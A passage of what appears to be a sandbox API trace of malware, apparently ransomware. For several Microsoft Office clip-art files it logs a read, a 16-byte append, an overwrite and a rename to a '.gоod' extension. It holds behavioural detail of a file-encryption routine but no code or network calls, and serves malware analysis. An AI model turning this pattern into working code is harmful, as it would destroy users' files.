Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0176.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0176.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0176.407] GetFileType (hFile=0x810) returned 0x1 [0176.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0176.407] GetFileType (hFile=0x810) returned 0x1 [0176.407] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0176.407] ReadFile (in: hFile=0x810, lpBuffer=0x34651a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34651a8*, lpNumberOfBytesRead=0x1faedd28*=0xcd8, lpOverlapped=0x0) returned 1 [0176.408] CloseHandle (hObject=0x810) returned 1 [0176.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0176.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0176.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0176.409] GetFileType (hFile=0x810) returned 0x1 [0176.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0176.409] GetFileType (hFile=0x810) returned 0x1 [0176.409] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1cd8 [0176.409] WriteFile (in: hFile=0x810, lpBuffer=0x3466568*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3466568*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0176.409] CloseHandle (hObject=0x810) returned 1 [0176.409] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0176.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0176.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0176.409] GetFileType (hFile=0x810) returned 0x1 [0176.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0176.409] GetFileType (hFile=0x810) returned 0x1 [0176.409] ReadFile (in: hFile=0x810, lpBuffer=0x3468818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3468818*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0177.451] CloseHandle (hObject=0x810) returned 1 [0177.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0177.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0177.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0177.451] GetFileType (hFile=0x810) returned 0x1 [0177.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0177.451] GetFileType (hFile=0x810) returned 0x1 [0177.451] WriteFile (in: hFile=0x810, lpBuffer=0x3390250*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3390250*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0177.452] CloseHandle (hObject=0x810) returned 1 [0177.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0177.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.gоod", lpFilePart=0x0) returned 0x48 [0177.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0177.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65fbd3d2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8)) returned 1 [0177.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0177.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.gоod")) returned 1 [0177.453] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0177.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0177.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x341c960 | out: lpFileInformation=0x341c960*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306)) returned 1 [0177.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0177.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0177.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0177.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0177.994] GetFileType (hFile=0x818) returned 0x1 [0177.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0177.994] GetFileType (hFile=0x818) returned 0x1 [0177.994] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0177.994] ReadFile (in: hFile=0x818, lpBuffer=0x35da128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x35da128*, lpNumberOfBytesRead=0x1faedd28*=0x306, lpOverlapped=0x0) returned 1 [0177.996] CloseHandle (hObject=0x818) returned 1 [0177.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0177.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0177.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0177.996] GetFileType (hFile=0x818) returned 0x1 [0177.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0177.996] GetFileType (hFile=0x818) returned 0x1 [0177.996] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1306 [0177.996] WriteFile (in: hFile=0x818, lpBuffer=0x35db3c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35db3c0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0177.996] CloseHandle (hObject=0x818) returned 1 [0177.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0177.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0177.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0177.997] GetFileType (hFile=0x818) returned 0x1 [0177.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0177.997] GetFileType (hFile=0x818) returned 0x1 [0177.997] ReadFile (in: hFile=0x818, lpBuffer=0x35dd680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35dd680*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0178.026] CloseHandle (hObject=0x818) returned 1 [0178.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0178.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0178.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.026] GetFileType (hFile=0x818) returned 0x1 [0178.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0178.026] GetFileType (hFile=0x818) returned 0x1 [0178.026] WriteFile (in: hFile=0x818, lpBuffer=0x35dc3d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35dc3d8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0178.026] CloseHandle (hObject=0x818) returned 1 [0178.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFilePart=0x0) returned 0x44 [0178.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0178.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0178.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x66540a23, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1316)) returned 1 [0178.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0178.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.gоod")) returned 1 [0178.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0178.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0178.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3659a70 | out: lpFileInformation=0x3659a70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906)) returned 1 [0178.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0178.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0178.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0178.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.028] GetFileType (hFile=0x818) returned 0x1 [0178.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0178.028] GetFileType (hFile=0x818) returned 0x1 [0178.028] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0178.028] ReadFile (in: hFile=0x818, lpBuffer=0x3659e88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3659e88*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0178.099] CloseHandle (hObject=0x818) returned 1 [0179.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0179.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0179.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0179.492] GetFileType (hFile=0x824) returned 0x1 [0179.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0179.492] GetFileType (hFile=0x824) returned 0x1 [0179.492] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x6906 [0179.492] WriteFile (in: hFile=0x824, lpBuffer=0x35eb7a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35eb7a8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0179.493] CloseHandle (hObject=0x824) returned 1 [0179.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0179.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0179.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0179.493] GetFileType (hFile=0x824) returned 0x1 [0179.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0179.493] GetFileType (hFile=0x824) returned 0x1 [0179.493] ReadFile (in: hFile=0x824, lpBuffer=0x35eda68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35eda68*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0179.522] CloseHandle (hObject=0x824) returned 1 [0179.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0179.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0179.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0179.522] GetFileType (hFile=0x824) returned 0x1 [0179.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0179.522] GetFileType (hFile=0x824) returned 0x1 [0179.522] WriteFile (in: hFile=0x824, lpBuffer=0x35ec7c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35ec7c0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0179.522] CloseHandle (hObject=0x824) returned 1 [0179.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFilePart=0x0) returned 0x44 [0179.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0179.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0179.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x673835ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6916)) returned 1 [0179.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0179.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.gоod")) returned 1 [0179.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0179.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0179.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3669e88 | out: lpFileInformation=0x3669e88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114)) returned 1 [0179.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0179.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0179.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0179.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0179.525] GetFileType (hFile=0x824) returned 0x1 [0179.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0179.525] GetFileType (hFile=0x824) returned 0x1 [0179.525] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0179.525] ReadFile (in: hFile=0x824, lpBuffer=0x366a2a0, 